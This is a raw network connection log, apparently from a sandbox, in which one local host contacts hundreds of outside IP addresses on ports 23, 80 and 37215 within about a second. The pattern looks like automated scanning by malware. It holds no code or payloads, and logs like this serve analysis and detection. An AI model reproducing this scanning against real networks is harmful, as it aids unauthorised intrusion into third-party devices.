Dec 3, 2024 21:47:23.406687021 CET	39419	80	192.168.2.13	31.81.236.227
Dec 3, 2024 21:47:23.406694889 CET	39419	80	192.168.2.13	118.194.187.104
Dec 3, 2024 21:47:23.406694889 CET	39419	80	192.168.2.13	164.241.158.245
Dec 3, 2024 21:47:23.406698942 CET	39419	80	192.168.2.13	103.97.216.101
Dec 3, 2024 21:47:23.406703949 CET	39419	80	192.168.2.13	128.2.115.2
Dec 3, 2024 21:47:23.406703949 CET	39419	80	192.168.2.13	59.171.80.90
Dec 3, 2024 21:47:23.406703949 CET	39419	80	192.168.2.13	70.177.143.21
Dec 3, 2024 21:47:23.406704903 CET	39419	80	192.168.2.13	96.88.208.98
Dec 3, 2024 21:47:23.406704903 CET	39419	80	192.168.2.13	67.201.244.143
Dec 3, 2024 21:47:23.406712055 CET	39419	80	192.168.2.13	158.225.185.186
Dec 3, 2024 21:47:23.406713963 CET	39419	80	192.168.2.13	187.12.55.123
Dec 3, 2024 21:47:23.406714916 CET	39419	80	192.168.2.13	179.86.154.127
Dec 3, 2024 21:47:23.406714916 CET	39419	80	192.168.2.13	122.110.222.194
Dec 3, 2024 21:47:23.406721115 CET	39419	80	192.168.2.13	169.67.47.152
Dec 3, 2024 21:47:23.406721115 CET	39419	80	192.168.2.13	121.158.41.26
Dec 3, 2024 21:47:23.406721115 CET	39419	80	192.168.2.13	204.245.141.41
Dec 3, 2024 21:47:23.406721115 CET	39419	80	192.168.2.13	72.169.122.171
Dec 3, 2024 21:47:23.406722069 CET	39419	80	192.168.2.13	37.78.212.251
Dec 3, 2024 21:47:23.406721115 CET	39419	80	192.168.2.13	47.141.143.141
Dec 3, 2024 21:47:23.406723022 CET	39419	80	192.168.2.13	44.22.221.218
Dec 3, 2024 21:47:23.406721115 CET	39419	80	192.168.2.13	139.69.6.115
Dec 3, 2024 21:47:23.406729937 CET	39419	80	192.168.2.13	160.2.189.58
Dec 3, 2024 21:47:23.406730890 CET	39419	80	192.168.2.13	19.123.232.248
Dec 3, 2024 21:47:23.406735897 CET	39419	80	192.168.2.13	158.189.129.96
Dec 3, 2024 21:47:23.406742096 CET	39419	80	192.168.2.13	98.201.66.86
Dec 3, 2024 21:47:23.406744003 CET	39419	80	192.168.2.13	162.1.251.199
Dec 3, 2024 21:47:23.406744957 CET	39419	80	192.168.2.13	137.105.166.79
Dec 3, 2024 21:47:23.406768084 CET	39419	80	192.168.2.13	69.30.106.41
Dec 3, 2024 21:47:23.406768084 CET	39419	80	192.168.2.13	199.106.231.34
Dec 3, 2024 21:47:23.406768084 CET	39419	80	192.168.2.13	179.253.143.209
Dec 3, 2024 21:47:23.406768084 CET	39419	80	192.168.2.13	169.176.153.62
Dec 3, 2024 21:47:23.406768084 CET	39419	80	192.168.2.13	107.139.150.188
Dec 3, 2024 21:47:23.406769991 CET	39419	80	192.168.2.13	46.147.62.176
Dec 3, 2024 21:47:23.406773090 CET	39419	80	192.168.2.13	134.126.59.52
Dec 3, 2024 21:47:23.406774044 CET	39419	80	192.168.2.13	85.6.155.20
Dec 3, 2024 21:47:23.457568884 CET	23	49994	166.126.235.103	192.168.2.13
Dec 3, 2024 21:47:23.457700968 CET	49994	23	192.168.2.13	166.126.235.103
Dec 3, 2024 21:47:23.458229065 CET	23	40614	61.156.145.112	192.168.2.13
Dec 3, 2024 21:47:23.458317041 CET	40614	23	192.168.2.13	61.156.145.112
Dec 3, 2024 21:47:23.458813906 CET	23	41784	35.250.249.149	192.168.2.13
Dec 3, 2024 21:47:23.458863974 CET	41784	23	192.168.2.13	35.250.249.149
Dec 3, 2024 21:47:23.459407091 CET	23	41444	209.200.104.41	192.168.2.13
Dec 3, 2024 21:47:23.459448099 CET	41444	23	192.168.2.13	209.200.104.41
Dec 3, 2024 21:47:23.460127115 CET	23	48580	163.24.175.81	192.168.2.13
Dec 3, 2024 21:47:23.460180044 CET	48580	23	192.168.2.13	163.24.175.81
Dec 3, 2024 21:47:23.460719109 CET	23	37328	153.46.131.236	192.168.2.13
Dec 3, 2024 21:47:23.460769892 CET	37328	23	192.168.2.13	153.46.131.236
Dec 3, 2024 21:47:23.461451054 CET	23	47298	76.95.67.223	192.168.2.13
Dec 3, 2024 21:47:23.461497068 CET	47298	23	192.168.2.13	76.95.67.223
Dec 3, 2024 21:47:23.476907015 CET	23	52570	34.143.28.210	192.168.2.13
Dec 3, 2024 21:47:23.477005959 CET	52570	23	192.168.2.13	34.143.28.210
Dec 3, 2024 21:47:23.477502108 CET	23	38090	23.7.176.180	192.168.2.13
Dec 3, 2024 21:47:23.477576017 CET	38090	23	192.168.2.13	23.7.176.180
Dec 3, 2024 21:47:23.526366949 CET	80	39419	107.213.65.9	192.168.2.13
Dec 3, 2024 21:47:23.526415110 CET	80	39419	126.129.144.5	192.168.2.13
Dec 3, 2024 21:47:23.526429892 CET	80	39419	62.250.47.221	192.168.2.13
Dec 3, 2024 21:47:23.526443958 CET	80	39419	12.24.147.177	192.168.2.13
Dec 3, 2024 21:47:23.526458025 CET	80	39419	72.97.142.213	192.168.2.13
Dec 3, 2024 21:47:23.526470900 CET	39419	80	192.168.2.13	107.213.65.9
Dec 3, 2024 21:47:23.526473045 CET	39419	80	192.168.2.13	62.250.47.221
Dec 3, 2024 21:47:23.526473045 CET	39419	80	192.168.2.13	126.129.144.5
Dec 3, 2024 21:47:23.526483059 CET	39419	80	192.168.2.13	12.24.147.177
Dec 3, 2024 21:47:23.526494980 CET	39419	80	192.168.2.13	72.97.142.213
Dec 3, 2024 21:47:23.526581049 CET	80	36468	92.165.190.29	192.168.2.13
Dec 3, 2024 21:47:23.526655912 CET	36468	80	192.168.2.13	92.165.190.29
Dec 3, 2024 21:47:23.991142035 CET	80	53646	39.25.202.96	192.168.2.13
Dec 3, 2024 21:47:23.991269112 CET	53646	80	192.168.2.13	39.25.202.96
Dec 3, 2024 21:47:24.084640026 CET	40360	23	192.168.2.13	156.161.176.194
Dec 3, 2024 21:47:24.084644079 CET	42232	23	192.168.2.13	71.224.250.219
Dec 3, 2024 21:47:24.084645987 CET	59582	23	192.168.2.13	148.8.165.54
Dec 3, 2024 21:47:24.100475073 CET	34043	37215	192.168.2.13	197.131.66.97
Dec 3, 2024 21:47:24.100474119 CET	34043	37215	192.168.2.13	197.21.36.108
Dec 3, 2024 21:47:24.100474119 CET	34043	37215	192.168.2.13	197.57.94.143
Dec 3, 2024 21:47:24.100501060 CET	34043	37215	192.168.2.13	41.196.63.217
Dec 3, 2024 21:47:24.100522995 CET	34043	37215	192.168.2.13	41.78.110.252
Dec 3, 2024 21:47:24.100533962 CET	34043	37215	192.168.2.13	41.252.167.141
Dec 3, 2024 21:47:24.100533962 CET	34043	37215	192.168.2.13	156.167.186.216
Dec 3, 2024 21:47:24.100537062 CET	34043	37215	192.168.2.13	197.89.191.125
Dec 3, 2024 21:47:24.100548983 CET	34043	37215	192.168.2.13	156.9.237.76
Dec 3, 2024 21:47:24.100549936 CET	34043	37215	192.168.2.13	197.66.54.252
Dec 3, 2024 21:47:24.100560904 CET	34043	37215	192.168.2.13	156.224.249.242
Dec 3, 2024 21:47:24.100581884 CET	34043	37215	192.168.2.13	41.59.158.178
Dec 3, 2024 21:47:24.100594997 CET	34043	37215	192.168.2.13	156.137.59.179
Dec 3, 2024 21:47:24.100596905 CET	34043	37215	192.168.2.13	156.227.147.148
Dec 3, 2024 21:47:24.100596905 CET	34043	37215	192.168.2.13	156.186.192.169
Dec 3, 2024 21:47:24.100598097 CET	34043	37215	192.168.2.13	156.1.31.252
Dec 3, 2024 21:47:24.100615025 CET	34043	37215	192.168.2.13	41.206.100.21
Dec 3, 2024 21:47:24.100615978 CET	34043	37215	192.168.2.13	197.85.113.143
Dec 3, 2024 21:47:24.100626945 CET	34043	37215	192.168.2.13	41.11.208.38
Dec 3, 2024 21:47:24.100629091 CET	34043	37215	192.168.2.13	197.101.126.167
Dec 3, 2024 21:47:24.100649118 CET	34043	37215	192.168.2.13	41.204.185.224
Dec 3, 2024 21:47:24.100656033 CET	34043	37215	192.168.2.13	197.105.1.48
Dec 3, 2024 21:47:24.100663900 CET	34043	37215	192.168.2.13	156.18.176.47
Dec 3, 2024 21:47:24.100672007 CET	34043	37215	192.168.2.13	197.191.47.123
Dec 3, 2024 21:47:24.100682020 CET	34043	37215	192.168.2.13	156.244.170.80
Dec 3, 2024 21:47:24.100692987 CET	34043	37215	192.168.2.13	156.241.177.227
Dec 3, 2024 21:47:24.100708008 CET	34043	37215	192.168.2.13	197.189.180.232
Dec 3, 2024 21:47:24.100708961 CET	34043	37215	192.168.2.13	197.241.234.235
Dec 3, 2024 21:47:24.100723982 CET	34043	37215	192.168.2.13	156.41.38.126
Dec 3, 2024 21:47:24.100729942 CET	34043	37215	192.168.2.13	41.151.149.109
Dec 3, 2024 21:47:24.100754023 CET	34043	37215	192.168.2.13	197.155.147.73
Dec 3, 2024 21:47:24.100759029 CET	34043	37215	192.168.2.13	41.26.12.27
Dec 3, 2024 21:47:24.100764036 CET	34043	37215	192.168.2.13	197.22.134.226
Dec 3, 2024 21:47:24.100776911 CET	34043	37215	192.168.2.13	156.142.143.175
Dec 3, 2024 21:47:24.100776911 CET	34043	37215	192.168.2.13	156.155.65.188
Dec 3, 2024 21:47:24.100797892 CET	34043	37215	192.168.2.13	41.159.45.219
Dec 3, 2024 21:47:24.100811958 CET	34043	37215	192.168.2.13	197.217.135.4
Dec 3, 2024 21:47:24.100824118 CET	34043	37215	192.168.2.13	41.70.169.235
Dec 3, 2024 21:47:24.100830078 CET	34043	37215	192.168.2.13	156.120.218.74
Dec 3, 2024 21:47:24.100831032 CET	34043	37215	192.168.2.13	41.130.219.75
Dec 3, 2024 21:47:24.100837946 CET	34043	37215	192.168.2.13	197.127.150.255
Dec 3, 2024 21:47:24.100841999 CET	34043	37215	192.168.2.13	156.115.33.143
Dec 3, 2024 21:47:24.100856066 CET	34043	37215	192.168.2.13	197.49.143.54
Dec 3, 2024 21:47:24.100862980 CET	34043	37215	192.168.2.13	197.66.11.86
Dec 3, 2024 21:47:24.100883961 CET	34043	37215	192.168.2.13	197.140.239.213
Dec 3, 2024 21:47:24.100888014 CET	34043	37215	192.168.2.13	197.51.35.142
Dec 3, 2024 21:47:24.100904942 CET	34043	37215	192.168.2.13	197.216.132.14
Dec 3, 2024 21:47:24.100904942 CET	34043	37215	192.168.2.13	156.81.165.124
Dec 3, 2024 21:47:24.100922108 CET	34043	37215	192.168.2.13	197.197.99.27
Dec 3, 2024 21:47:24.100924969 CET	34043	37215	192.168.2.13	156.230.149.174
Dec 3, 2024 21:47:24.100940943 CET	34043	37215	192.168.2.13	41.18.160.244
Dec 3, 2024 21:47:24.100944042 CET	34043	37215	192.168.2.13	197.70.204.94
Dec 3, 2024 21:47:24.100945950 CET	34043	37215	192.168.2.13	41.248.180.24
Dec 3, 2024 21:47:24.100960016 CET	34043	37215	192.168.2.13	156.244.222.255
Dec 3, 2024 21:47:24.100960970 CET	34043	37215	192.168.2.13	41.60.115.8
Dec 3, 2024 21:47:24.100976944 CET	34043	37215	192.168.2.13	156.238.129.211
Dec 3, 2024 21:47:24.100989103 CET	34043	37215	192.168.2.13	41.227.92.100
Dec 3, 2024 21:47:24.100995064 CET	34043	37215	192.168.2.13	197.79.18.120
Dec 3, 2024 21:47:24.101002932 CET	34043	37215	192.168.2.13	41.84.2.171
Dec 3, 2024 21:47:24.101008892 CET	34043	37215	192.168.2.13	156.18.66.100
Dec 3, 2024 21:47:24.101021051 CET	34043	37215	192.168.2.13	197.41.35.27
Dec 3, 2024 21:47:24.101023912 CET	34043	37215	192.168.2.13	41.193.68.101
Dec 3, 2024 21:47:24.101023912 CET	34043	37215	192.168.2.13	41.179.108.209
Dec 3, 2024 21:47:24.101042032 CET	34043	37215	192.168.2.13	41.170.21.145
Dec 3, 2024 21:47:24.101051092 CET	34043	37215	192.168.2.13	197.102.244.208
Dec 3, 2024 21:47:24.101052999 CET	34043	37215	192.168.2.13	197.233.207.19
Dec 3, 2024 21:47:24.101062059 CET	34043	37215	192.168.2.13	197.120.248.197
Dec 3, 2024 21:47:24.101067066 CET	34043	37215	192.168.2.13	156.110.47.229
Dec 3, 2024 21:47:24.101080894 CET	34043	37215	192.168.2.13	197.191.93.234
Dec 3, 2024 21:47:24.101090908 CET	34043	37215	192.168.2.13	156.130.161.57
Dec 3, 2024 21:47:24.101114988 CET	34043	37215	192.168.2.13	156.127.237.156
Dec 3, 2024 21:47:24.101116896 CET	34043	37215	192.168.2.13	197.42.221.84
Dec 3, 2024 21:47:24.101119041 CET	34043	37215	192.168.2.13	156.114.17.175
Dec 3, 2024 21:47:24.101119995 CET	34043	37215	192.168.2.13	41.83.130.155
Dec 3, 2024 21:47:24.101125956 CET	34043	37215	192.168.2.13	197.212.254.103
Dec 3, 2024 21:47:24.101125956 CET	34043	37215	192.168.2.13	156.114.60.61
Dec 3, 2024 21:47:24.101128101 CET	34043	37215	192.168.2.13	197.165.19.7
Dec 3, 2024 21:47:24.101130009 CET	34043	37215	192.168.2.13	197.178.222.241
Dec 3, 2024 21:47:24.101142883 CET	34043	37215	192.168.2.13	156.248.175.249
Dec 3, 2024 21:47:24.101145983 CET	34043	37215	192.168.2.13	197.10.134.115
Dec 3, 2024 21:47:24.101160049 CET	34043	37215	192.168.2.13	41.52.168.40
Dec 3, 2024 21:47:24.101170063 CET	34043	37215	192.168.2.13	41.146.49.222
Dec 3, 2024 21:47:24.101175070 CET	34043	37215	192.168.2.13	156.123.66.21
Dec 3, 2024 21:47:24.101191044 CET	34043	37215	192.168.2.13	41.151.112.21
Dec 3, 2024 21:47:24.101198912 CET	34043	37215	192.168.2.13	41.76.231.41
Dec 3, 2024 21:47:24.101210117 CET	34043	37215	192.168.2.13	197.70.68.224
Dec 3, 2024 21:47:24.101226091 CET	34043	37215	192.168.2.13	41.145.29.52
Dec 3, 2024 21:47:24.101238966 CET	34043	37215	192.168.2.13	156.176.18.120
Dec 3, 2024 21:47:24.101241112 CET	34043	37215	192.168.2.13	156.108.78.210
Dec 3, 2024 21:47:24.101254940 CET	34043	37215	192.168.2.13	41.180.59.166
Dec 3, 2024 21:47:24.101257086 CET	34043	37215	192.168.2.13	156.255.235.91
Dec 3, 2024 21:47:24.101277113 CET	34043	37215	192.168.2.13	41.201.87.123
Dec 3, 2024 21:47:24.101277113 CET	34043	37215	192.168.2.13	197.92.42.238
Dec 3, 2024 21:47:24.101288080 CET	34043	37215	192.168.2.13	156.57.60.5
Dec 3, 2024 21:47:24.101294994 CET	34043	37215	192.168.2.13	197.132.26.199
Dec 3, 2024 21:47:24.101294994 CET	34043	37215	192.168.2.13	41.78.101.202
Dec 3, 2024 21:47:24.101310968 CET	34043	37215	192.168.2.13	197.118.224.250
Dec 3, 2024 21:47:24.101314068 CET	34043	37215	192.168.2.13	156.40.88.155
Dec 3, 2024 21:47:24.101331949 CET	34043	37215	192.168.2.13	41.59.167.217
Dec 3, 2024 21:47:24.101336002 CET	34043	37215	192.168.2.13	41.166.172.176
Dec 3, 2024 21:47:24.101342916 CET	34043	37215	192.168.2.13	156.160.166.44
Dec 3, 2024 21:47:24.101346970 CET	34043	37215	192.168.2.13	156.128.85.95
Dec 3, 2024 21:47:24.101357937 CET	34043	37215	192.168.2.13	156.114.122.175
Dec 3, 2024 21:47:24.101365089 CET	34043	37215	192.168.2.13	156.132.109.8
Dec 3, 2024 21:47:24.101383924 CET	34043	37215	192.168.2.13	197.32.105.85
Dec 3, 2024 21:47:24.101397038 CET	34043	37215	192.168.2.13	41.86.105.90
Dec 3, 2024 21:47:24.101397038 CET	34043	37215	192.168.2.13	41.244.221.163
Dec 3, 2024 21:47:24.101414919 CET	34043	37215	192.168.2.13	197.199.237.207
Dec 3, 2024 21:47:24.101414919 CET	34043	37215	192.168.2.13	41.240.97.121
Dec 3, 2024 21:47:24.101425886 CET	34043	37215	192.168.2.13	41.193.38.43
Dec 3, 2024 21:47:24.101438046 CET	34043	37215	192.168.2.13	197.170.214.107
Dec 3, 2024 21:47:24.101444960 CET	34043	37215	192.168.2.13	156.193.93.187
Dec 3, 2024 21:47:24.101452112 CET	34043	37215	192.168.2.13	41.113.180.170
Dec 3, 2024 21:47:24.101460934 CET	34043	37215	192.168.2.13	41.6.221.53
Dec 3, 2024 21:47:24.101475954 CET	34043	37215	192.168.2.13	156.80.28.99
Dec 3, 2024 21:47:24.101485014 CET	34043	37215	192.168.2.13	41.205.180.245
Dec 3, 2024 21:47:24.101491928 CET	34043	37215	192.168.2.13	156.152.81.183
Dec 3, 2024 21:47:24.101511002 CET	34043	37215	192.168.2.13	156.61.213.188
Dec 3, 2024 21:47:24.101521015 CET	34043	37215	192.168.2.13	197.71.180.63
Dec 3, 2024 21:47:24.101521969 CET	34043	37215	192.168.2.13	156.3.133.68
Dec 3, 2024 21:47:24.101536036 CET	34043	37215	192.168.2.13	197.11.100.157
Dec 3, 2024 21:47:24.101546049 CET	34043	37215	192.168.2.13	197.23.59.37
Dec 3, 2024 21:47:24.101557970 CET	34043	37215	192.168.2.13	197.4.115.17
Dec 3, 2024 21:47:24.101569891 CET	34043	37215	192.168.2.13	41.55.166.253
Dec 3, 2024 21:47:24.101572990 CET	34043	37215	192.168.2.13	197.206.208.222
Dec 3, 2024 21:47:24.101577044 CET	34043	37215	192.168.2.13	197.64.15.136
Dec 3, 2024 21:47:24.101589918 CET	34043	37215	192.168.2.13	156.71.159.129
Dec 3, 2024 21:47:24.101593971 CET	34043	37215	192.168.2.13	156.71.130.6
Dec 3, 2024 21:47:24.101608992 CET	34043	37215	192.168.2.13	41.169.21.215
Dec 3, 2024 21:47:24.101622105 CET	34043	37215	192.168.2.13	156.30.114.66
Dec 3, 2024 21:47:24.101632118 CET	34043	37215	192.168.2.13	197.217.0.54
Dec 3, 2024 21:47:24.101632118 CET	34043	37215	192.168.2.13	41.37.2.211
Dec 3, 2024 21:47:24.101641893 CET	34043	37215	192.168.2.13	197.125.9.155
Dec 3, 2024 21:47:24.101649046 CET	34043	37215	192.168.2.13	41.36.141.37
Dec 3, 2024 21:47:24.101665974 CET	34043	37215	192.168.2.13	156.61.176.239
Dec 3, 2024 21:47:24.101679087 CET	34043	37215	192.168.2.13	41.48.140.177
Dec 3, 2024 21:47:24.101680994 CET	34043	37215	192.168.2.13	41.85.93.139
Dec 3, 2024 21:47:24.101690054 CET	34043	37215	192.168.2.13	41.225.136.230
Dec 3, 2024 21:47:24.101699114 CET	34043	37215	192.168.2.13	41.233.175.39
Dec 3, 2024 21:47:24.101699114 CET	34043	37215	192.168.2.13	156.40.213.36
Dec 3, 2024 21:47:24.101712942 CET	34043	37215	192.168.2.13	41.210.129.225
Dec 3, 2024 21:47:24.101725101 CET	34043	37215	192.168.2.13	197.155.173.39
Dec 3, 2024 21:47:24.101726055 CET	34043	37215	192.168.2.13	197.203.50.200
Dec 3, 2024 21:47:24.101741076 CET	34043	37215	192.168.2.13	197.53.92.193
Dec 3, 2024 21:47:24.101747036 CET	34043	37215	192.168.2.13	197.178.78.217
Dec 3, 2024 21:47:24.101768970 CET	34043	37215	192.168.2.13	197.55.52.169
Dec 3, 2024 21:47:24.101778984 CET	34043	37215	192.168.2.13	41.54.50.117
Dec 3, 2024 21:47:24.101787090 CET	34043	37215	192.168.2.13	41.132.23.12
Dec 3, 2024 21:47:24.101785898 CET	34043	37215	192.168.2.13	41.197.12.214
Dec 3, 2024 21:47:24.101799965 CET	34043	37215	192.168.2.13	197.53.56.210
Dec 3, 2024 21:47:24.101803064 CET	34043	37215	192.168.2.13	197.76.154.47
Dec 3, 2024 21:47:24.101813078 CET	34043	37215	192.168.2.13	156.255.168.220
Dec 3, 2024 21:47:24.101845980 CET	34043	37215	192.168.2.13	41.132.230.164
Dec 3, 2024 21:47:24.101845980 CET	34043	37215	192.168.2.13	41.251.69.185
Dec 3, 2024 21:47:24.101846933 CET	34043	37215	192.168.2.13	197.5.92.17
Dec 3, 2024 21:47:24.101849079 CET	34043	37215	192.168.2.13	197.50.200.79
Dec 3, 2024 21:47:24.101859093 CET	34043	37215	192.168.2.13	197.28.85.32
Dec 3, 2024 21:47:24.101869106 CET	34043	37215	192.168.2.13	156.207.226.230
Dec 3, 2024 21:47:24.101871967 CET	34043	37215	192.168.2.13	197.212.240.181
Dec 3, 2024 21:47:24.101878881 CET	34043	37215	192.168.2.13	197.41.195.167
Dec 3, 2024 21:47:24.101891994 CET	34043	37215	192.168.2.13	41.165.9.23
Dec 3, 2024 21:47:24.101892948 CET	34043	37215	192.168.2.13	156.174.118.109
Dec 3, 2024 21:47:24.101912022 CET	34043	37215	192.168.2.13	197.58.53.132
Dec 3, 2024 21:47:24.101919889 CET	34043	37215	192.168.2.13	156.80.17.163
Dec 3, 2024 21:47:24.101927996 CET	34043	37215	192.168.2.13	41.76.96.10
Dec 3, 2024 21:47:24.101938963 CET	34043	37215	192.168.2.13	197.212.115.115
Dec 3, 2024 21:47:24.101943016 CET	34043	37215	192.168.2.13	197.66.211.214
Dec 3, 2024 21:47:24.101957083 CET	34043	37215	192.168.2.13	156.203.189.159
Dec 3, 2024 21:47:24.101960897 CET	34043	37215	192.168.2.13	41.139.166.203
Dec 3, 2024 21:47:24.101970911 CET	34043	37215	192.168.2.13	156.79.207.153
Dec 3, 2024 21:47:24.101984024 CET	34043	37215	192.168.2.13	156.53.32.168
Dec 3, 2024 21:47:24.101984024 CET	34043	37215	192.168.2.13	156.52.95.125
Dec 3, 2024 21:47:24.101996899 CET	34043	37215	192.168.2.13	197.75.56.244
Dec 3, 2024 21:47:24.101996899 CET	34043	37215	192.168.2.13	41.215.116.167
Dec 3, 2024 21:47:24.102010965 CET	34043	37215	192.168.2.13	156.203.26.70
Dec 3, 2024 21:47:24.102018118 CET	34043	37215	192.168.2.13	197.130.146.47
Dec 3, 2024 21:47:24.102026939 CET	34043	37215	192.168.2.13	197.189.239.73
Dec 3, 2024 21:47:24.102045059 CET	34043	37215	192.168.2.13	197.3.125.210
Dec 3, 2024 21:47:24.102046013 CET	34043	37215	192.168.2.13	197.171.124.207
Dec 3, 2024 21:47:24.102054119 CET	34043	37215	192.168.2.13	41.132.155.147
Dec 3, 2024 21:47:24.102061987 CET	34043	37215	192.168.2.13	197.166.47.16
Dec 3, 2024 21:47:24.102072001 CET	34043	37215	192.168.2.13	156.104.191.130
Dec 3, 2024 21:47:24.102075100 CET	34043	37215	192.168.2.13	41.249.104.242
Dec 3, 2024 21:47:24.102092981 CET	34043	37215	192.168.2.13	41.22.14.239
Dec 3, 2024 21:47:24.102092981 CET	34043	37215	192.168.2.13	41.200.58.228
Dec 3, 2024 21:47:24.102112055 CET	34043	37215	192.168.2.13	197.166.244.51
Dec 3, 2024 21:47:24.102113962 CET	34043	37215	192.168.2.13	41.134.140.235
Dec 3, 2024 21:47:24.102133036 CET	34043	37215	192.168.2.13	156.137.198.129
Dec 3, 2024 21:47:24.102133989 CET	34043	37215	192.168.2.13	197.180.81.241
Dec 3, 2024 21:47:24.102138042 CET	34043	37215	192.168.2.13	156.202.18.114
Dec 3, 2024 21:47:24.102154970 CET	34043	37215	192.168.2.13	156.230.45.78
Dec 3, 2024 21:47:24.102158070 CET	34043	37215	192.168.2.13	156.26.85.104
Dec 3, 2024 21:47:24.102174997 CET	34043	37215	192.168.2.13	197.131.4.41
Dec 3, 2024 21:47:24.102184057 CET	34043	37215	192.168.2.13	197.219.248.246
Dec 3, 2024 21:47:24.102195978 CET	34043	37215	192.168.2.13	41.249.213.18
Dec 3, 2024 21:47:24.102201939 CET	34043	37215	192.168.2.13	41.173.242.203
Dec 3, 2024 21:47:24.102212906 CET	34043	37215	192.168.2.13	156.59.193.109
Dec 3, 2024 21:47:24.102214098 CET	34043	37215	192.168.2.13	197.235.131.254
Dec 3, 2024 21:47:24.102235079 CET	34043	37215	192.168.2.13	41.131.179.210
Dec 3, 2024 21:47:24.102240086 CET	34043	37215	192.168.2.13	41.11.11.154
Dec 3, 2024 21:47:24.102243900 CET	34043	37215	192.168.2.13	41.110.52.253
Dec 3, 2024 21:47:24.102253914 CET	34043	37215	192.168.2.13	41.91.156.77
Dec 3, 2024 21:47:24.102257013 CET	34043	37215	192.168.2.13	41.168.169.58
Dec 3, 2024 21:47:24.102272987 CET	34043	37215	192.168.2.13	41.124.63.125
Dec 3, 2024 21:47:24.102277994 CET	34043	37215	192.168.2.13	41.141.221.215
Dec 3, 2024 21:47:24.102288008 CET	34043	37215	192.168.2.13	41.105.41.4
Dec 3, 2024 21:47:24.102293968 CET	34043	37215	192.168.2.13	197.52.31.173
Dec 3, 2024 21:47:24.102308035 CET	34043	37215	192.168.2.13	156.59.232.202
Dec 3, 2024 21:47:24.102308989 CET	34043	37215	192.168.2.13	41.208.51.207
Dec 3, 2024 21:47:24.102320910 CET	34043	37215	192.168.2.13	41.62.39.33
Dec 3, 2024 21:47:24.102334023 CET	34043	37215	192.168.2.13	41.113.9.249
Dec 3, 2024 21:47:24.102348089 CET	34043	37215	192.168.2.13	156.102.18.162
Dec 3, 2024 21:47:24.102355957 CET	34043	37215	192.168.2.13	41.6.196.212
Dec 3, 2024 21:47:24.102365017 CET	34043	37215	192.168.2.13	156.207.159.154
Dec 3, 2024 21:47:24.102375031 CET	34043	37215	192.168.2.13	41.183.164.134
Dec 3, 2024 21:47:24.102384090 CET	34043	37215	192.168.2.13	41.246.20.7
Dec 3, 2024 21:47:24.102396965 CET	34043	37215	192.168.2.13	197.53.30.191
Dec 3, 2024 21:47:24.102399111 CET	34043	37215	192.168.2.13	197.104.5.238
Dec 3, 2024 21:47:24.102413893 CET	34043	37215	192.168.2.13	197.2.111.200
Dec 3, 2024 21:47:24.102416039 CET	34043	37215	192.168.2.13	156.18.67.158
Dec 3, 2024 21:47:24.102417946 CET	34043	37215	192.168.2.13	41.78.33.106
Dec 3, 2024 21:47:24.102427006 CET	34043	37215	192.168.2.13	197.34.76.11
Dec 3, 2024 21:47:24.102432966 CET	34043	37215	192.168.2.13	197.230.14.228
Dec 3, 2024 21:47:24.102447033 CET	34043	37215	192.168.2.13	41.69.6.5
Dec 3, 2024 21:47:24.102456093 CET	34043	37215	192.168.2.13	197.248.127.201
Dec 3, 2024 21:47:24.102461100 CET	34043	37215	192.168.2.13	156.224.166.138
Dec 3, 2024 21:47:24.102477074 CET	34043	37215	192.168.2.13	197.35.154.1
Dec 3, 2024 21:47:24.102478981 CET	34043	37215	192.168.2.13	197.110.59.70
Dec 3, 2024 21:47:24.102488041 CET	34043	37215	192.168.2.13	41.88.228.238
Dec 3, 2024 21:47:24.102494955 CET	34043	37215	192.168.2.13	156.91.100.43
Dec 3, 2024 21:47:24.102504969 CET	34043	37215	192.168.2.13	197.110.179.36
Dec 3, 2024 21:47:24.102513075 CET	34043	37215	192.168.2.13	197.60.37.102
Dec 3, 2024 21:47:24.102524996 CET	34043	37215	192.168.2.13	156.138.151.1
Dec 3, 2024 21:47:24.102531910 CET	34043	37215	192.168.2.13	197.242.94.44
Dec 3, 2024 21:47:24.102545023 CET	34043	37215	192.168.2.13	197.59.119.50
Dec 3, 2024 21:47:24.102545977 CET	34043	37215	192.168.2.13	156.147.223.75
Dec 3, 2024 21:47:24.102564096 CET	34043	37215	192.168.2.13	197.0.100.4
Dec 3, 2024 21:47:24.102564096 CET	34043	37215	192.168.2.13	41.63.180.69
Dec 3, 2024 21:47:24.102565050 CET	34043	37215	192.168.2.13	156.24.81.203
Dec 3, 2024 21:47:24.102565050 CET	34043	37215	192.168.2.13	156.150.198.218
Dec 3, 2024 21:47:24.102585077 CET	34043	37215	192.168.2.13	41.148.198.80
Dec 3, 2024 21:47:24.102591991 CET	34043	37215	192.168.2.13	156.151.156.240
Dec 3, 2024 21:47:24.102611065 CET	34043	37215	192.168.2.13	197.224.69.82
Dec 3, 2024 21:47:24.102612972 CET	34043	37215	192.168.2.13	41.23.168.86
Dec 3, 2024 21:47:24.102628946 CET	34043	37215	192.168.2.13	197.63.247.70
Dec 3, 2024 21:47:24.102632999 CET	34043	37215	192.168.2.13	156.86.72.219
Dec 3, 2024 21:47:24.102648020 CET	34043	37215	192.168.2.13	41.0.92.123
Dec 3, 2024 21:47:24.102648020 CET	34043	37215	192.168.2.13	41.31.201.72
Dec 3, 2024 21:47:24.102663994 CET	34043	37215	192.168.2.13	156.234.148.178
Dec 3, 2024 21:47:24.102667093 CET	34043	37215	192.168.2.13	156.150.182.53
Dec 3, 2024 21:47:24.102682114 CET	34043	37215	192.168.2.13	156.28.140.182
Dec 3, 2024 21:47:24.102689028 CET	34043	37215	192.168.2.13	197.194.144.165
Dec 3, 2024 21:47:24.102705002 CET	34043	37215	192.168.2.13	41.191.96.14
Dec 3, 2024 21:47:24.102708101 CET	34043	37215	192.168.2.13	197.181.240.153
Dec 3, 2024 21:47:24.102720022 CET	34043	37215	192.168.2.13	156.42.163.144
Dec 3, 2024 21:47:24.102720022 CET	34043	37215	192.168.2.13	156.120.253.199
Dec 3, 2024 21:47:24.102736950 CET	34043	37215	192.168.2.13	41.24.212.61
Dec 3, 2024 21:47:24.102740049 CET	34043	37215	192.168.2.13	156.10.10.19
Dec 3, 2024 21:47:24.102758884 CET	34043	37215	192.168.2.13	156.72.135.156
Dec 3, 2024 21:47:24.102761984 CET	34043	37215	192.168.2.13	197.208.47.170
Dec 3, 2024 21:47:24.102773905 CET	34043	37215	192.168.2.13	197.195.107.229
Dec 3, 2024 21:47:24.102787971 CET	34043	37215	192.168.2.13	197.106.78.30
Dec 3, 2024 21:47:24.102796078 CET	34043	37215	192.168.2.13	41.232.47.175
Dec 3, 2024 21:47:24.102803946 CET	34043	37215	192.168.2.13	197.200.154.229
